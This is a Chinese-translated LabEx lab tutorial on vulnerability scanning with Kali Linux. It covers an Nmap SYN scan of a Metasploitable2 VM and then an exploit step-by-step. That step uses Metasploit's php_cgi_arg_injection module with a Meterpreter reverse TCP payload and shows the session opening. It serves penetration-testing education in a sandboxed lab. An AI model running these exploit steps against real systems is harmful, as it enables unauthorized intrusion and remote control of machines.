Kali 漏洞扫描工具实战

CybersecurityCybersecurityBeginner
立即练习

💡 本教程由 AI 辅助翻译自英文原版。如需查看原文,您可以 切换至英文原版

简介

在本实验中,你将学习如何使用 Kali Linux 中的各种工具对目标机器进行漏洞扫描和渗透测试。目标是获得使用流行漏洞扫描工具的实践经验,并了解如何利用扫描结果进行成功的渗透攻击。实验将在 LabEx 平台上进行,你将获得一个 Kali Linux 容器作为攻击机器,以及一个 Metasploitable2 虚拟机作为目标。


Skills Graph

%%%%{init: {'theme':'neutral'}}%%%% flowchart RL cybersecurity(("`Cybersecurity`")) -.-> cybersecurity/NmapGroup(["`Nmap`"]) cybersecurity/NmapGroup -.-> cybersecurity/nmap_port_scanning("`Nmap Port Scanning Methods`") cybersecurity/NmapGroup -.-> cybersecurity/nmap_host_discovery("`Nmap Host Discovery Techniques`") cybersecurity/NmapGroup -.-> cybersecurity/nmap_target_specification("`Nmap Target Specification`") cybersecurity/NmapGroup -.-> cybersecurity/nmap_syn_scan("`Nmap SYN Scan`") cybersecurity/NmapGroup -.-> cybersecurity/nmap_service_detection("`Nmap Service Detection`") subgraph Lab Skills cybersecurity/nmap_port_scanning -.-> lab-416122{{"`Kali 漏洞扫描工具实战`"}} cybersecurity/nmap_host_discovery -.-> lab-416122{{"`Kali 漏洞扫描工具实战`"}} cybersecurity/nmap_target_specification -.-> lab-416122{{"`Kali 漏洞扫描工具实战`"}} cybersecurity/nmap_syn_scan -.-> lab-416122{{"`Kali 漏洞扫描工具实战`"}} cybersecurity/nmap_service_detection -.-> lab-416122{{"`Kali 漏洞扫描工具实战`"}} end

环境设置

在这一步骤中,你将在 LabEx 平台上启动 Kali Linux 容器和 Metasploitable2 目标机器。

  1. 在 LabEx 主机上打开一个 xfce 终端,并通过运行以下命令启动 Metasploitable2 目标机器:
sudo virsh start Metasploitable2

等待目标机器启动,可能需要1-3分钟。

  1. 通过 ping 命令测试与目标机器的连接性:
ping 192.168.122.102

按下 Ctrl+C 停止 ping。

  1. 启动 Kali Linux 容器并通过以下命令进入 bash 环境:
docker run -ti --network host b5b709a49cd5 bash
  1. 在 Kali 容器内,测试与目标机器的网络连接:
ping 192.168.122.102

按下 Ctrl+C 停止 ping。

使用 Nmap 进行漏洞扫描

在这一步骤中,你将了解 Kali Linux 中一些流行的漏洞扫描工具。

  1. X-scan:X-scan 是中国知名的综合性扫描工具。它完全免费,无需安装,支持中英文图形界面和命令行界面。X-scan 由著名的中国黑客组织“安全焦点”开发,自 2000 年内部测试版 0.2 以来不断改进。

  2. Nessus:Nessus 是全球使用最广泛的漏洞扫描和分析软件之一。超过 75,000 家组织使用 Nessus 扫描其计算机系统。Nessus 由 Renaud Deraison 于 1998 年创建,旨在为互联网社区提供一个免费、功能强大、频繁更新且易于使用的远程系统安全扫描程序。

  3. SQLmap:SQLmap 是一个自动化的 SQL 注入工具,可以扫描、检测并利用给定 URL 中的 SQL 注入漏洞。它目前支持 MS-SQL、MySQL、Oracle 和 PostgreSQL 数据库。SQLmap 采用四种独特的 SQL 注入技术:盲推断、UNION 查询、堆叠查询和基于时间的盲注入。

  4. Nmap:Nmap 是一个功能强大且多用途的网络探索和安全审计工具。它可以用于多种用途,包括网络发现、端口扫描和漏洞检测。

现在,你将使用 Nmap 对 Metasploitable2 目标机器进行漏洞扫描。

  1. 启动 Metasploit 数据库服务并初始化数据库:
cd ~
service postgresql start
msfdb init
  1. 启动 Metasploit 控制台:
msfconsole
  1. 在 Metasploit 控制台中,使用 nmap 命令扫描目标机器:
nmap -sS -T4 192.168.122.102

以下是可能看到的输出示例:

[*] exec: nmap -sS -T4 192.168.122.102

Starting Nmap 7.94 ( https://nmap.org ) at 2024-03-23 23:15 UTC
Nmap scan report for 192.168.122.102
Host is up (0.0032s latency).
Not shown: 977 closed tcp ports (reset)
PORT     STATE SERVICE
21/tcp   open  ftp
22/tcp   open  ssh
23/tcp   open  telnet
25/tcp   open  smtp
53/tcp   open  domain
80/tcp   open  http
111/tcp  open  rpcbind
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
512/tcp  open  exec
513/tcp  open  login
514/tcp  open  shell
1099/tcp open  rmiregistry
1524/tcp open  ingreslock
2049/tcp open  nfs
2121/tcp open  ccproxy-ftp
3306/tcp open  mysql
5432/tcp open  postgresql
5900/tcp open  vnc
6000/tcp open  X11
6667/tcp open  irc
8009/tcp open  ajp13
8180/tcp open  unknown
MAC Address: 52:54:00:1E:9E:B4 (QEMU virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.37 seconds

-sS 参数执行 TCP SYN 扫描(也称为半开或隐形扫描),-T4 将时间策略设置为激进但不会过快,以避免过多的网络流量。

  1. 观察扫描的输出,它应该显示目标机器上开放的端口和服务。

按下 Ctrl+D 退出 Metasploit 控制台,然后开始检查

利用漏洞

在这一步骤中,你将使用从 Nmap 扫描中收集的信息来利用 Metasploitable2 目标机器上的漏洞。

  1. 首先,如果你不在 Metasploit 控制台中,应该启动 Metasploit 控制台:
cd ~
msfconsole
  1. 从 Nmap 扫描结果中,识别目标机器上的一个开放端口,例如端口 80。在 Metasploit 控制台中,搜索与开放端口相关的漏洞利用模块:
search http
  1. 使用合适的漏洞利用模块:
use exploit/multi/http/php_cgi_arg_injection
  1. 设置目标机器的 IP 地址:
set RHOST 192.168.122.102
  1. 设置要使用的 payload:
set PAYLOAD php/meterpreter/reverse_tcp
  1. 设置本地机器的 IP 地址:
set LHOST 192.168.122.1
  1. 运行漏洞利用:
exploit

以下是可能看到的输出示例:

[*] Started reverse TCP handler on 192.168.122.1:4444
[*] Sending stage (39927 bytes) to 192.168.122.102
[*] Meterpreter session 1 opened (192.168.122.1:4444 -> 192.168.122.102:38510) at 2024-03-23 23:21:14 +0000
  1. 如果漏洞利用成功,你应该能够访问目标机器的 shell。通过运行 sysinfo 等命令来验证访问权限,以显示系统信息。

  2. 如果你有时间,可以尝试探索其他漏洞扫描工具,如 Nessus、SQLmap 或 X-scan。你还可以尝试利用 Metasploitable2 目标机器上的其他漏洞。

按下 Ctrl+D 退出 Metasploit 控制台,然后开始检查

总结

在本实验中,你学习了如何为渗透测试设置 Kali Linux 环境,并使用 Nmap 等流行的漏洞扫描工具来识别目标系统中的潜在漏洞。你还通过 Metasploit Framework 获得了利用漏洞的实践经验。这些实践知识将帮助你理解漏洞扫描和渗透测试在网络安全领域中的重要性。

您可能感兴趣的其他 Cybersecurity 教程